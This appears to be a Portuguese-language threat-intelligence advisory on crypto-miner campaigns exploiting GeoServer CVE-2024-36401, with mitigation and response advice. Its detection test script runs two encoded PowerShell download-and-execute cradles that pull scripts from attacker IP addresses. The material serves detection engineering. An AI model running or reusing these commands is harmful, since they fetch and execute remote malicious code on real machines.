SOC Prime Bias: Crítico

23 Dec 2025 10:38 UTC

GeoServer Sob Ataque: Campanhas de Malware de Mineração de Criptomoedas

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Seguir
GeoServer Sob Ataque: Campanhas de Malware de Mineração de Criptomoedas
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumo

Atores de ameaça estão explorando a falha de execução remota de código do GeoServer CVE-2024-36401 para implantar mineradores de criptomoedas e NetCat em servidores não corrigidos. A atividade depende de PowerShell, Bash e certutil para baixar e lançar o XMRig a partir de múltiplos domínios e endereços IP maliciosos. Vários scripts de downloader e droppers são usados, comumente empacotados em arquivos ZIP e mantidos como serviços através de NSSM. O objetivo principal é capturar recursos computacionais para mineração não autorizada.

Investigação

O relatório descreve três variantes (A, B, C) que usam PowerShell codificado, buscadores baseados em Bash e certutil para recuperar cargas de mineradores de pool.supportxmr.com e múltiplos subdomínios aaaaaaaaa.cyou. Os mecanismos de entrega incluem scripts em lote, pacotes ZIP e um downloader personalizado chamado systemd, junto com credenciais de autenticação HTTP Basic. Analistas extraíram indicadores-chave—URLs, endereços IP e nomes de arquivos—para apoiar a detecção e o escopo.

Mitigação

Aplique patches do GeoServer que abordam o CVE-2024-36401 e mantenha as implantações na última versão suportada. Bloqueie conexões de saída para pools de mineração conhecidos e infraestrutura relacionada, e monitore execuções suspeitas de PowerShell ou Bash codificados. Limite o uso de certutil para contextos não-administrativos e implemente lista de permissões de aplicativos para evitar serviços não autorizados instalados via NSSM.

Resposta

Implemente detecções para as linhas de comando observadas, hashes e indicadores de rede. Isolar hosts afetados, erradicar serviços de mineradores e artefatos de persistência e realizar uma varredura forense para qualquer carga secundária. Rotacione credenciais expostas e exija autenticação multifator para acesso administrativo.

Fluxo de Ataque

Execução de Simulação

Pré-requisito: A Verificação Prévia de Telemetria & Baseline deve ter sido aprovada.

Justificativa: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção.

  • Narrativa de Ataque & Comandos:
    Um atacante obteve uma carga maliciosa em Base64 que faz o download de um arquivo de configuração vulnerável do GeoServer, executa-o, e então instala um minerador de criptomoedas. Para evadir a detecção simples de bloqueio de script, o atacante usa o -enc switch com uma string pré-codificada (uma das duas IOCs conhecidas). O atacante executa a carga localmente em um host Windows comprometido, causando uma powershell.exe criação de processo que inclui exatamente a string Base64 que a regra monitora.

  • Script de Teste de Regressão:

     # -------------------------------------------------
      #  Script de regressão para acionar a regra Sigma
      # -------------------------------------------------
      # Carga 1 (corresponde ao primeiro IOC)
      $b64_1 = 'SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMjIwLjg0LjEwNy42OS9qcy9ndy50eHQnKQA='
      powershell.exe -enc $b64_1
    
      # Carga 2 (corresponde ao segundo IOC)
      $b64_2 = 'SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8xMTkuMTk0LjE1My4zMTo4MDgwL2ljb24vanMvd2kudHh0Jyk='
      powershell.exe -enc $b64_2
  • Comandos de Limpeza:

     # -------------------------------------------------
      #  Limpeza – terminar quaisquer cargas de PowerShell remanescentes
      # -------------------------------------------------
      Get-Process -Name powershell -ErrorAction SilentlyContinue |
        Where-Object { $_.StartInfo.Arguments -match '-enc' } |
        Stop-Process -Force